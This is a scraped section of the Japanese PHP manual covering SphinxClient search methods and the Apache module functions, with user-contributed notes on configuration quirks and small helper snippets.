
パラメータ

attribute

An attribute name.

values

Plain array of integer values.

exclude

If set to true, matching documents are excluded from the result set.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::setFilterFloatRange
  • SphinxClient::setFilterRange
  • SphinxClient::resetFilters

User Contributed Notes

There are no user contributed notes for this page.


Add new float range filter

  • ≪ SphinxClient::setFilter
  • SphinxClient::setFilterRange ≫
  • PHP Manual
  • SphinxClient
  • Add new float range filter

SphinxClient::setFilterFloatRange

(PECL sphinx >= 0.1.0)

SphinxClient::setFilterFloatRange — Add new float range filter

説明

public SphinxClient::setFilterFloatRange ( string $attribute , float $min , float $max , bool $exclude = false ) : bool

Adds new float range filter to the existing list of filters. Only those documents which have attribute value stored in the index between min and max (including values that are exactly equal to min or max) will be matched (or rejected, if exclude is true).

パラメータ

attribute

An attribute name.

min

Minimum value.

max

Maximum value.

exclude

If set to true, matching documents are excluded from the result set.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::setFilterRange
  • SphinxClient::setFilter
  • SphinxClient::resetFilters

User Contributed Notes

There are no user contributed notes for this page.


Add new integer range filter

  • ≪ SphinxClient::setFilterFloatRange
  • SphinxClient::setGeoAnchor ≫
  • PHP Manual
  • SphinxClient
  • Add new integer range filter

SphinxClient::setFilterRange

(PECL sphinx >= 0.1.0)

SphinxClient::setFilterRange — Add new integer range filter

説明

public SphinxClient::setFilterRange ( string $attribute , int $min , int $max , bool $exclude = false ) : bool

Adds new integer range filter to the existing list of filters. Only those documents which have attribute value stored in the index between min and max (including values that are exactly equal to min or max) will be matched (or rejected, if exclude is true).

パラメータ

attribute

An attribute name.

min

Minimum value.

max

Maximum value.

exclude

If set to true, matching documents are excluded from the result set.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::setFilterFloatRange
  • SphinxClient::setFilter
  • SphinxClient::resetFilters

User Contributed Notes

There are no user contributed notes for this page.


Set anchor point for a geosphere distance calculations

  • ≪ SphinxClient::setFilterRange
  • SphinxClient::setGroupBy ≫
  • PHP Manual
  • SphinxClient
  • Set anchor point for a geosphere distance calculations

SphinxClient::setGeoAnchor

(PECL sphinx >= 0.1.0)

SphinxClient::setGeoAnchor — Set anchor point for a geosphere distance calculations

説明

public SphinxClient::setGeoAnchor ( string $attrlat , string $attrlong , float $latitude , float $longitude ) : bool

Sets anchor point for a geosphere distance (geodistance) calculations and enables them.

Once an anchor point is set, you can use magic "@geodist" attribute name in your filters and/or sorting expressions.

パラメータ

attrlat

Name of a latitude attribute.

attrlong

Name of a longitude attribute.

latitude

Anchor latitude in radians.

longitude

Anchor longitude in radians.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::setFilterFloatRange
  • SphinxClient::setFilterRange
  • SphinxClient::setFilter
  • SphinxClient::resetFilters

User Contributed Notes

michel dot bartz at igotchamedia dot com 20-Jul-2011 07:17
For this to work, attrlat and attrlng need to be in lower case otherwise you will get :
"unknown latitude attribute ''"
k dot andris at gmail dot com 07-Oct-2010 12:55
When sorting on @geodist you have to use SetSortMode with SPH_SORT_EXTENDED, like below, if SPH_SORT_ATTR_ASC does not seem to work.

$sphinx->SetSortMode(SPH_SORT_EXTENDED, '@geodist ASC');


Set grouping attribute

  • ≪ SphinxClient::setGeoAnchor
  • SphinxClient::setGroupDistinct ≫
  • PHP Manual
  • SphinxClient
  • Set grouping attribute

SphinxClient::setGroupBy

(PECL sphinx >= 0.1.0)

SphinxClient::setGroupBy — Set grouping attribute

説明

public SphinxClient::setGroupBy ( string $attribute , int $func , string $groupsort = "@group desc" ) : bool

Sets grouping attribute, function, and group sorting mode, and enables grouping.

Grouping feature is very similar to GROUP BY clause in SQL. Results produced by this function call are going to be the same as produced by the following pseudo code: SELECT ... GROUP BY $func($attribute) ORDER BY $groupsort.

パラメータ

attribute

A string containing group-by attribute name.

func

Constant, which sets a function applied to the attribute value in order to compute group-by key.

groupsort

An optional clause controlling how the groups are sorted.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::resetGroupBy
  • SphinxClient::setSortMode
  • SphinxClient::setGroupDistinct

User Contributed Notes

There are no user contributed notes for this page.


Set attribute name for per-group distinct values count calculations

  • ≪ SphinxClient::setGroupBy
  • SphinxClient::setIDRange ≫
  • PHP Manual
  • SphinxClient
  • Set attribute name for per-group distinct values count calculations

SphinxClient::setGroupDistinct

(PECL sphinx >= 0.1.0)

SphinxClient::setGroupDistinct — Set attribute name for per-group distinct values count calculations

説明

public SphinxClient::setGroupDistinct ( string $attribute ) : bool

Sets attribute name for per-group distinct values count calculations. Only available for grouping queries. For each group, all values of attribute will be stored, then the amount of distinct values will be calculated and returned to the client. This feature is similar to COUNT(DISTINCT) clause in SQL.

パラメータ

attribute

A string containing group-by attribute name.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::setSortMode
  • SphinxClient::setGroupBy
  • SphinxClient::resetGroupBy

User Contributed Notes

There are no user contributed notes for this page.


Set a range of accepted document IDs

  • ≪ SphinxClient::setGroupDistinct
  • SphinxClient::setIndexWeights ≫
  • PHP Manual
  • SphinxClient
  • Set a range of accepted document IDs

SphinxClient::setIDRange

(PECL sphinx >= 0.1.0)

SphinxClient::setIDRange — Set a range of accepted document IDs

説明

public SphinxClient::setIDRange ( int $min , int $max ) : bool

Sets an accepted range of document IDs. Default range is from 0 to 0, i.e. no limit. Only those records that have document ID between min and max (including IDs exactly equal to min or max) will be matched.

パラメータ

min

Minimum ID value.

max

Maximum ID value.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Set per-index weights

  • ≪ SphinxClient::setIDRange
  • SphinxClient::setLimits ≫
  • PHP Manual
  • SphinxClient
  • Set per-index weights

SphinxClient::setIndexWeights

(PECL sphinx >= 0.1.0)

SphinxClient::setIndexWeights — Set per-index weights

説明

public SphinxClient::setIndexWeights ( array $weights ) : bool

Sets per-index weights and enables weighted summing of match weights across different indexes.

パラメータ

weights

An associative array mapping string index names to integer weights. Default is empty array, i.e. weighting summing is disabled.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Set offset and limit of the result set

  • ≪ SphinxClient::setIndexWeights
  • SphinxClient::setMatchMode ≫
  • PHP Manual
  • SphinxClient
  • Set offset and limit of the result set

SphinxClient::setLimits

(PECL sphinx >= 0.1.0)

SphinxClient::setLimits — Set offset and limit of the result set

説明

public SphinxClient::setLimits ( int $offset , int $limit , int $max_matches = 0 , int $cutoff = 0 ) : bool

Sets offset into server-side result set and amount of matches to return to client starting from that offset (limit). Can additionally control maximum server-side result set size for current query (max_matches) and the threshold amount of matches to stop searching at (cutoff).

パラメータ

offset

Result set offset.

limit

Amount of matches to return.

max_matches

Controls how much matches searchd will keep in RAM while searching.

cutoff

Used for advanced performance control. It tells searchd to forcibly stop search query once cutoff matches have been found and processed.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

vlk dot abakan at gmail dot com 02-Feb-2016 07:26
If you use shpinxQL, you can add "max_matches" option to your query:

<?php
   SELECT ... LIMIT 1000, 10 OPTION max_matches = 1000
?>

And to "searchd" section in sphinx.conf:

<?php

searchd {
    ...
    max_matches = 10000
    ....
}

?>
xxxbunker dot com 21-Mar-2010 10:52
the max_matches / cutoff parameters are priceless.

if you ever have a situation where you need a 'count' of the number of matches, but only need to display lets say the 'top 10', these 2 parameters are very handy.

we used to get the occasional 'unable to connect' error with sphinx, after implementing these 2 parameters where applicable, these issues disappeared, load dropped, and the servers were much happier.
shoanm at users dot sourceforge dot net 25-Aug-2009 03:06
I almost pulled out all my hair trying to figure this one out. After applying limits using

$s->setLimit(10,10);

the search kept returning only false. getLastError() and getLastWarning() contained empty strings.

The solution, like Nayana stated, is to add a positive non-zero integer $max to setLimit.
Nayana Hettiarachch nayana at corp-gems dot com 23-Jan-2009 08:36
If you get an error
per-query max_matches=0 out of bounds (per-server max_matches=1000).

make sure that you also set the $max to a value other than the default 0,

there is an issue published with a patch if you feel like wanting to patch,

the first option works well as a workaround.

http://sphinxsearch.com/bugs/view.php?id=208


Set full-text query matching mode

  • ≪ SphinxClient::setLimits
  • SphinxClient::setMaxQueryTime ≫
  • PHP Manual
  • SphinxClient
  • Set full-text query matching mode

SphinxClient::setMatchMode

(PECL sphinx >= 0.1.0)

SphinxClient::setMatchMode — Set full-text query matching mode

説明

public SphinxClient::setMatchMode ( int $mode ) : bool

Sets full-text query matching mode. mode is one of the constants listed below.

Match modes
Constant | Description
SPH_MATCH_ALL | Match all query words (default mode).
SPH_MATCH_ANY | Match any of query words.
SPH_MATCH_PHRASE | Match query as a phrase, requiring perfect match.
SPH_MATCH_BOOLEAN | Match query as a boolean expression.
SPH_MATCH_EXTENDED | Match query as an expression in Sphinx internal query language.
SPH_MATCH_FULLSCAN | Enables fullscan.
SPH_MATCH_EXTENDED2 | The same as SPH_MATCH_EXTENDED plus ranking and quorum searching support.

パラメータ

mode

Matching mode.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::setRankingMode
  • SphinxClient::setSortMode

User Contributed Notes

There are no user contributed notes for this page.


Set maximum query time

  • ≪ SphinxClient::setMatchMode
  • SphinxClient::setOverride ≫
  • PHP Manual
  • SphinxClient
  • Set maximum query time

SphinxClient::setMaxQueryTime

(PECL sphinx >= 0.1.0)

SphinxClient::setMaxQueryTime — Set maximum query time

説明

public SphinxClient::setMaxQueryTime ( int $qtime ) : bool

Sets maximum search query time.

パラメータ

qtime

Maximum query time, in milliseconds. It must be a non-negative integer. Default value is 0, i.e. no limit.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

martin 11-Jun-2015 03:48
for distributed index ...
Note that if you're performing a search which queries several local indexes, this limit applies to each index separately.
http://sphinxsearch.com/docs/latest/api-func-setmaxquerytime.html


Sets temporary per-document attribute value overrides

  • ≪ SphinxClient::setMaxQueryTime
  • SphinxClient::setRankingMode ≫
  • PHP Manual
  • SphinxClient
  • Sets temporary per-document attribute value overrides

SphinxClient::setOverride

(PECL sphinx >= 1.0.3)

SphinxClient::setOverride — Sets temporary per-document attribute value overrides

説明

public SphinxClient::setOverride ( string $attribute , int $type , array $values ) : bool

Sets temporary (per-query) per-document attribute value overrides. Override feature lets you "temporary" update attribute values for some documents within a single query, leaving all other queries unaffected. This might be useful for personalized data

パラメータ

attribute

An attribute name.

type

An attribute type. Only supports scalar attributes.

values

Array of attribute values that maps document IDs to overridden attribute values.

変更履歴

PECL/sphinx バージョン | 説明
PECL sphinx 1.0.3 | Added SphinxClient::setOverride(), available only if compiled with libsphinxclient >= 0.9.9.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Set ranking mode

  • ≪ SphinxClient::setOverride
  • SphinxClient::setRetries ≫
  • PHP Manual
  • SphinxClient
  • Set ranking mode

SphinxClient::setRankingMode

(PECL sphinx >= 0.1.0)

SphinxClient::setRankingMode — Set ranking mode

説明

public SphinxClient::setRankingMode ( int $ranker ) : bool

Sets ranking mode. Only available in SPH_MATCH_EXTENDED2 matching mode.

Ranking modes
Constant | Description
SPH_RANK_PROXIMITY_BM25 | Default ranking mode which uses both proximity and BM25 ranking.
SPH_RANK_BM25 | Statistical ranking mode which uses BM25 ranking only (similar to most of other full-text engines). This mode is faster, but may result in worse quality on queries which contain more than 1 keyword.
SPH_RANK_NONE | Disables ranking. This mode is the fastest. It is essentially equivalent to boolean searching, a weight of 1 is assigned to all matches.

パラメータ

ranker

Ranking mode.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::setMatchMode

User Contributed Notes

moosh at php dot net 09-Feb-2013 09:21
Sphinx search support now more than  3 ranking  mode.

1) SPH_RANK_NONE ranker just assigns every document weight to 1.

2) SPH_RANK_WORDCOUNT ranker counts all the keyword occurrences and multiplies them by user field weights.

3) SPH_RANK_FIELDMASK ranker returns a bit mask of matched fields.

4) SPH_RANK_PROXIMITY, the default ranker in SPH_MATCH_ALL legacy mode, simply passes the phrase proximity for a weight.

5) SPH_RANK_MATCHANY ranker, used to emulate legacy MATCH_ANY mode, combines phrase proximity and the number of matched keywords so that, with default per-field weights, a) longer sub-phrase match (aka bigger phrase proximity) in any field would rank higher, and b) in case of agreeing phrase proximity, document with more matched unique keywords would rank higher. In other words, we look at max sub-phrase match length first, and a number of unique matched keywords second. In pseudo-code,

6) SPH_RANK_PROXIMITY_BM25, the default SphinxQL ranker and also the default ranker when "extended" matching mode is used with SphinxAPI

7) SPH_RANK_BM25 ranker sums user weights of the matched fields and BM25.

8) SPH_RANK_SPH04 ranker further improves on PROXIMITY_BM25 ranker (and introduces numbers instead of meaningful names, too, because a name would be way too complicated). Phrase proximity is still the leading factor, but, within a given phrase proximity, matches in the beginning of the field are ranked higher, and exact matches of the entire field are ranked highest.

SOURCE & Details : http://sphinxsearch.com/blog/2010/08/17/how-sphinx-relevance-ranking-works/


Set retry count and delay

  • ≪ SphinxClient::setRankingMode
  • SphinxClient::setSelect ≫
  • PHP Manual
  • SphinxClient
  • Set retry count and delay

SphinxClient::setRetries

(PECL sphinx >= 0.1.0)

SphinxClient::setRetries — Set retry count and delay

説明

public SphinxClient::setRetries ( int $count , int $delay = 0 ) : bool

Sets distributed retry count and delay.

On temporary failures searchd will attempt up to count retries per agent. delay is the delay between the retries, in milliseconds. Retries are disabled by default. Note that this call will not make the API itself retry on temporary failure; it only tells searchd to do so.

パラメータ

count

Number of retries.

delay

Delay between retries, in milliseconds.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Set select clause

  • ≪ SphinxClient::setRetries
  • SphinxClient::setServer ≫
  • PHP Manual
  • SphinxClient
  • Set select clause

SphinxClient::setSelect

(PECL sphinx >= 1.0.1)

SphinxClient::setSelect — Set select clause

説明

public SphinxClient::setSelect ( string $clause ) : bool

Sets the select clause, listing specific attributes to fetch, and expressions to compute and fetch.

パラメータ

clause

SQL-like clause.

変更履歴

PECL/sphinx バージョン | 説明
PECL sphinx 1.0.1 | Added SphinxClient::setSelect(), available only if compiled with libsphinxclient >= 0.9.9.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


Set searchd host and port

  • ≪ SphinxClient::setSelect
  • SphinxClient::setSortMode ≫
  • PHP Manual
  • SphinxClient
  • Set searchd host and port

SphinxClient::setServer

(PECL sphinx >= 0.1.0)

SphinxClient::setServer — Set searchd host and port

説明

public SphinxClient::setServer ( string $server , int $port ) : bool

Sets searchd host name and TCP port. All subsequent requests will use the new host and port settings. Default host and port are 'localhost' and 3312, respectively.

パラメータ

server

IP or hostname.

port

Port number.

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

craig dot constable at gmail dot com 20-Aug-2012 06:18
<?php
    //Here is an example of using the Sphinx api client
    $server = "192.168.0.100:3306";
    $username = "johnsmith";
    $password = "Password1";
    $database = "customers";
    function newSQL() {
        global $server, $username, $password, $database;
        $con = new mysqli($server, $username, $password, $database);
        return $con;
    }

    include('sphinxapi.php');

    $search = '@postcode 2012';
    $s = new SphinxClient;
    $s->SetServer("192.168.0.100", 9312);
    $s->SetMatchMode(SPH_MATCH_EXTENDED2);
    $s->SetSortMode (SPH_SORT_EXTENDED,'@random');
    $s->SetLimits(0, $times);
    $index = 'main:delta';
    $result = $s->Query($search, $index);

    if ($result['total'] > 0) {
        foreach ($result['matches'] as $id => $other) {
            $people .= "pid=$id OR ";
        }
        $people = substr($people, 0, -4);
    }

    $mysqli = newSQL();
    $mysqliResult = $mysqli->query("SELECT `pid`, `name`, `postcode` FROM `profiles` WHERE ($people)");
    //Do something with $mysqliResult
    $mysqli->close();
?>


Set matches sorting mode

  • ≪ SphinxClient::setServer
  • SphinxClient::status ≫
  • PHP Manual
  • SphinxClient
  • Set matches sorting mode

SphinxClient::setSortMode

(PECL sphinx >= 0.1.0)

SphinxClient::setSortMode — Set matches sorting mode

説明

public SphinxClient::setSortMode ( int $mode , string $sortby = ? ) : bool

Sets matches sorting mode. See available modes below.

Sorting modes
Constant | Description
SPH_SORT_RELEVANCE | Sort by relevance in descending order (best matches first).
SPH_SORT_ATTR_DESC | Sort by an attribute in descending order (bigger attribute values first).
SPH_SORT_ATTR_ASC | Sort by an attribute in ascending order (smaller attribute values first).
SPH_SORT_TIME_SEGMENTS | Sort by time segments (last hour/day/week/month) in descending order, and then by relevance in descending order.
SPH_SORT_EXTENDED | Sort by SQL-like combination of columns in ASC/DESC order.
SPH_SORT_EXPR | Sort by an arithmetic expression.

パラメータ

mode

Sorting mode.

sortby

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::setMatchMode
  • SphinxClient::setSortMode

User Contributed Notes

There are no user contributed notes for this page.


Queries searchd status

  • ≪ SphinxClient::setSortMode
  • SphinxClient::updateAttributes ≫
  • PHP Manual
  • SphinxClient
  • Queries searchd status

SphinxClient::status

(PECL sphinx >= 1.0.3)

SphinxClient::status — Queries searchd status

説明

public SphinxClient::status ( ) : array

Queries searchd status, and returns an array of status variable name and value pairs.

パラメータ

この関数にはパラメータはありません。

変更履歴

PECL/sphinx バージョン | 説明
PECL sphinx 1.0.3 | Added SphinxClient::status(), available only if compiled with libsphinxclient >= 0.9.9.

返り値

Returns an associative array of search server statistics失敗した場合に false を返します.

User Contributed Notes

orlov0562 at gmail dot com 08-Aug-2016 01:29
Returned array contains next fields (Sphinx 2.2.11)
-------------------------
print_r(array_map(function($in){return $in[0].' = '.$in[1];}, $sphinx->status()));
-------------------------
 Array
(
    [0] => uptime = 10540
    [1] => connections = 35
    [2] => maxed_out = 0
    [3] => command_search = 21
    [4] => command_excerpt = 10
    [5] => command_update = 0
    [6] => command_delete = 0
    [7] => command_keywords = 0
    [8] => command_persist = 0
    [9] => command_status = 4
    [10] => command_flushattrs = 0
    [11] => agent_connect = 0
    [12] => agent_retry = 0
    [13] => queries = 21
    [14] => dist_queries = 0
    [15] => query_wall = 0.009
    [16] => query_cpu = OFF
    [17] => dist_wall = 0.000
    [18] => dist_local = 0.000
    [19] => dist_wait = 0.000
    [20] => query_reads = OFF
    [21] => query_readkb = OFF
    [22] => query_readtime = OFF
    [23] => avg_query_wall = 0.000
    [24] => avg_query_cpu = OFF
    [25] => avg_dist_wall = 0.000
    [26] => avg_dist_local = 0.000
    [27] => avg_dist_wait = 0.000
    [28] => avg_query_reads = OFF
    [29] => avg_query_readkb = OFF
    [30] => avg_query_readtime = OFF
)
-------------------------


Update document attributes

  • ≪ SphinxClient::status
  • サーバー固有のモジュール ≫
  • PHP Manual
  • SphinxClient
  • Update document attributes

SphinxClient::updateAttributes

(PECL sphinx >= 0.1.0)

SphinxClient::updateAttributes — Update document attributes

説明

public SphinxClient::updateAttributes ( string $index , array $attributes , array $values , bool $mva = false ) : int

Instantly updates given attribute values in given documents.

パラメータ

index

Name of the index (or indexes) to be updated.

attributes

Array of attribute names, listing attributes that are updated.

values

Associative array containing document IDs as keys and array of attribute values as values.

返り値

Returns number of actually updated documents (0 or more) on success, or false on failure.

User Contributed Notes

There are no user contributed notes for this page.


サーバー固有のモジュール

  • Apache
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Apache 関数
  • FastCGI Process Manager
    • はじめに
    • インストール/設定
    • FPM 関数

User Contributed Notes

There are no user contributed notes for this page.


Apache

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • Apache 関数
    • apache_child_terminate — このリクエストの後にApacheプロセスを終了する
    • apache_get_modules — ロードされた Apache モジュールのリストを取得する
    • apache_get_version — Apache のバージョンを取得する
    • apache_getenv — Apache の subprocess_env 変数を取得する
    • apache_lookup_uri — リクエストの一部を指定したURIに対して行い、全ての情報を返す
    • apache_note — Apacheリクエスト記号(note)を取得/設定する
    • apache_request_headers — すべての HTTP リクエストヘッダを取得する
    • apache_response_headers — HTTPレスポンスヘッダを全て取得する
    • apache_setenv — Apacheサブプロセスの環境変数を設定する
    • getallheaders — 全てのHTTPリクエストヘッダを取得する
    • virtual — Apache サブリクエストを実行する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

これらの関数は、Apacheモジュール版のPHPを実行している場合のみ利用可能です。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

PHPのApacheへのインストール方法については、インストールの章を参照してください。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

Apache PHPモジュールの動作は、php.ini の設定により影響を受けます。 php.ini の設定は、サーバーの設定ファイル内の php_flag の設定、 またはローカルなファイル .htaccess により上書きすることができます。

例1 .htaccess により、あるディレクトリの PHP によるパースを無効にする

php_flag engine off

Apache設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
engine | "1" | PHP_INI_ALL |
child_terminate | "0" | PHP_INI_ALL |
last_modified | "0" | PHP_INI_ALL |
xbithack | "0" | PHP_INI_ALL |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

設定ディレクティブの短い説明を以下に示します。

engine bool

PHP によるパースのオン/オフを切り替えます。 このディレクティブは、Apacheモジュール版のPHPでのみ有効です。 このディレクティブは、ディレクティブ毎または仮想サーバー毎にPHPに よるパースを有効または無効にしたいサイトで使用されます。 httpd.confファイルの適当な場所に engine offを置くことにより、PHPを有効また は無効にすることができます。

child_terminate bool

リクエストの終了時にPHPスクリプトが子プロセスの終了を指定するか どうかを指定します。 apache_child_terminate()も参照してください。

last_modified bool

PHPスクリプトの修正日をこのリクエストのLast-Modified:ヘッダとし て送信します。

xbithack bool

PHPがファイル終端を無視して実行ビットが設定されているファイルを パースするようにします。

User Contributed Notes

There are no user contributed notes for this page.


Apache 関数

目次

  • apache_child_terminate — このリクエストの後にApacheプロセスを終了する
  • apache_get_modules — ロードされた Apache モジュールのリストを取得する
  • apache_get_version — Apache のバージョンを取得する
  • apache_getenv — Apache の subprocess_env 変数を取得する
  • apache_lookup_uri — リクエストの一部を指定したURIに対して行い、全ての情報を返す
  • apache_note — Apacheリクエスト記号(note)を取得/設定する
  • apache_request_headers — すべての HTTP リクエストヘッダを取得する
  • apache_response_headers — HTTPレスポンスヘッダを全て取得する
  • apache_setenv — Apacheサブプロセスの環境変数を設定する
  • getallheaders — 全てのHTTPリクエストヘッダを取得する
  • virtual — Apache サブリクエストを実行する

User Contributed Notes

bgshea at gmail dot com 28-Nov-2005 07:41
here is a dynamic version of henk_nicolai at REMOVE-THIS at hotmail dot com's code

    $req = $_SERVER['REQUEST_URI'];
    // Remove rubbish.
    $newReq = ereg_replace ( $_SERVER['SCRIPT_NAME'] . '[^?]*', $_SERVER['SCRIPT_NAME'], $req);
    if (strlen($newReq) < strlen($req))
    {
        header ('Location: '.$newReq);
        header ('HTTP/1.0 301 Moved Permanently');
        die;  // Don't send any more output.
    }
    unset($req);
    unset($newReq);

this can be placed at the top of any file that is to be access by the URI.
pike 01-Nov-2005 03:16
to henk_nicolai

the behaviour you describe is not a "glitch" of apache :-). an url like
"http://my_server.nl/index.php/foo".  should return the resource http://my_server.nl/index.php and pass "/foo" as PATH_INFO in the environment.

which is extremely usefull if you use it wisely.

for more info on PATH_INFO and PATH_TRANSLATED, see http://nl2.php.net/reserved.variables . PATH_INFO is not related to the php pathinfo() function

$2c,
*pike
outofnet at mail dot ru 27-Aug-2004 07:44
Important info for Apache2 users that have several virtual hosts.

It seems php_flag directive has a different behaviour under Apache 2 (from what it is under 1.3) when used inside <VirtualHost> block.

If you override global php.ini settings with php_flag for one of your virtual host - then your other non-customized virtual hosts may use this overrided settings as well. php_flag records are messed up among different virtual hosts under single Apache 2 server. It may result from Apache 2 multi-thread nature.

Here is an example:

Suppose you have two Virtual hosts: V1 and V2.
For V1 in Apache configuration you use
php_flag magic_quotes_gpc 1
V2 is supposed to use global php.ini settings, so you didn't put any php_flag records into Apache conf for V2 (this worked under Apache 1.3).
And your default php.ini settings are:
php_flag magic_quotes_gpc 0

When you run your server you'll notice that magic quotes is (sometimes) set to On at V2!
The value turns On at V2 when there have been a previous request to V1.

To solve the problem either move php_flag into .htaccess located inside customized virtual host directory OR put php_flag with default settings into all your <VirtualHost> blocks that are not customized. So for V2 put:
php_flag magic_quotes_gpc 0

It is critical to be very carefull with php_flag engine 0.

My configuration is:
PHP 4.3.4, Apache 2.0.50, Linux RedHat 9
henk_nicolai at REMOVE-THIS at hotmail dot com 20-Nov-2002 04:03
My Apache server has a problem when someone enters a URI like: "http://my_server.nl/index.php/". (Note the extra slash.) The server executes the index.php script anyway, which causes the browser directory and the current directory used in the script to be different. And therefore my relative links don't work, and my stylesheet is not loaded. A quick test ("http://www.php.net/manual/en/index.php/") reveals that also this site has this glitch.

When a client requests a directory without the last slash ("http://www.php.net/manual") the server sends a HTTP 301 (Moved Permanently) response with a redirect to the correct URI ("http://www.php.net/manual/"), and my idea was to do the same when the user adds a slash too much:

<?php
   $req = $_SERVER['REQUEST_URI'];
   // Remove rubbish.
   $newReq = ereg_replace ('index.php[^?]*', 'index.php', $req);
   if (strlen($newReq) < strlen($req)) {
     header ('Location: '.$newReq);
     header ('HTTP/1.0 301 Moved Permanently');
     die;  // Don't send any more output.
   }
   unset($req); unset($newReq);

   ... (rest of the script) ...
?>

Replace every occurence of 'index.php' with your filename and you're done. Hope it helps. :-)

(Note: I'm not using fragments in my URI's (like 'index.php#bottom'), and this code may not do what you want if you are using them.)
cjm2 at earthling dot net 10-Jan-2002 03:40
If you are trying to find a Handler to use with apache's mod_mime functions (e.g. SetHandler).  Use the MIME type associated with php.

e.g. SetHandler application/x-httpd-php


このリクエストの後にApacheプロセスを終了する

  • ≪ Apache 関数
  • apache_get_modules ≫
  • PHP Manual
  • Apache 関数
  • このリクエストの後にApacheプロセスを終了する

apache_child_terminate

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

apache_child_terminate — このリクエストの後にApacheプロセスを終了する

説明

apache_child_terminate ( ) : void

apache_child_terminate() は、カレントのPHPリク エストを実行しているApacheプロセスをリクエスト終了時点で終了しま す。この関数は、メモリ消費量が大きなスクリプトを実行した後プロセ スを使用するために使用することが可能です。これは、メモリは通常内 部的にのみ解放され、オペレーティングシステムに戻されないためです。

この関数は、Apache, FastCGI ウェブサーバで動作します。

返り値

値を返しません。

注意

注意: この関数は Windows 環境にはまだ実装されていません。

参考

  • exit() - メッセージを出力し、現在のスクリプトを終了する

User Contributed Notes

Stephan Ferraro 11-Aug-2010 02:39
I found out a solution for Apache 2. However this works only without threads and only on POSIX compatible OS systems (e.g. Linux, OpenSolaris...).

<?php

// Terminate Apache 2 child process after request has been
// done by sending a SIGWINCH POSIX signal (28).
function kill_on_exit() {
 posix_kill( getmypid(), 28 );
}

register_shutdown_function( 'kill_on_exit' );

?>
louis at ewens dot com 29-Jan-2008 04:29
Apache child processes are greedy. If they get bloated by a PHP application that requires a lot of memory, they stay that way. The memory is never given back to the OS until that child dies.

You could use MaxRequestsPerChild in Apache to kill all child processes automatically after a certain number of connections. Or you can use apache_child_terminate to kill the child after your memory intensive functions.

Note: apache_child_terminate is not available in Apache 2.0 handler.
daniele_dll at yahoo dot it 29-Dec-2007 03:18
In response to sam at liddicott dot com:

it isin't so simple! You should never kill an apache process because it is automatically freed when apache need!

And, if you use apache worker or thread based mpm you risk to kill the entire process!

result: DO NOT USE THIS FUNCTION!
admin at hostultra dot com 06-Dec-2007 08:43
this code will add apache_child_terminate() function if it is not already present.

if (!function_exists("apache_child_terminate")){
function apache_child_terminate(){
register_shutdown_function("killonexit");
}

function killonexit(){
@exec("kill ".getmypid());
}
}


ロードされた Apache モジュールのリストを取得する

  • ≪ apache_child_terminate
  • apache_get_version ≫
  • PHP Manual
  • Apache 関数
  • ロードされた Apache モジュールのリストを取得する

apache_get_modules

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

apache_get_modules — ロードされた Apache モジュールのリストを取得する

説明

apache_get_modules ( ) : array

ロードされた Apache モジュールのリストを取得します。

返り値

ロードされた Apache モジュールの配列 array を返します。

例

例1 apache_get_modules() の例

<?php
print_r(apache_get_modules());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => core
    [1] => http_core
    [2] => mod_so
    [3] => sapi_apache2
    [4] => mod_mime
    [5] => mod_rewrite
)

User Contributed Notes

hello at octopuslabs dot io 28-Jul-2020 03:35
apache_get_modules() is only available when the PHP is installed as a module and not as a CGI == It doesn't work with php-fpm.
Anonymous 29-Nov-2013 10:19
<?php
function apache_module_exists($module)
{
    return in_array($module, apache_get_modules());
}
?>
Anonymous 03-Sep-2013 12:07
function apache_module_exists($module_name)
{
    $modules = apache_get_modules();
    return ( in_array($module_name, $modules) ? true : false );
}

var_dump(apache_module_exists('mod_headers'));
fengdingbo at gmail dot com 29-Jul-2013 01:56
<?php
function apache_module_exists($module_name)
{
    $modules = apache_get_modules();
    foreach ($modules as $module)
    {
        if ($module == $module_name)
            return true;
    }

    return false;
}
var_dump(apache_module_exists('mod_headers'));
Vlad Alexa Mancini mancini at nextcode dot org 04-Aug-2005 02:13
this function can be used on older php versions using something like "/etc/httpd/httpd.conf" as $fname

<?php

function get_modules ($fname){
   if (is_readable($fname)){
      $fcont = file($fname);
      if (is_array($fcont)){
          foreach ($fcont as $line){
              if (preg_match ("/^LoadModule\s*(\S*)\s*(\S*)/i",$line,$match)){
                  $return[$match[2]] = $match[1];
              }
          }
      }
   }
   return $return;
}

?>


Apache のバージョンを取得する

  • ≪ apache_get_modules
  • apache_getenv ≫
  • PHP Manual
  • Apache 関数
  • Apache のバージョンを取得する

apache_get_version

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

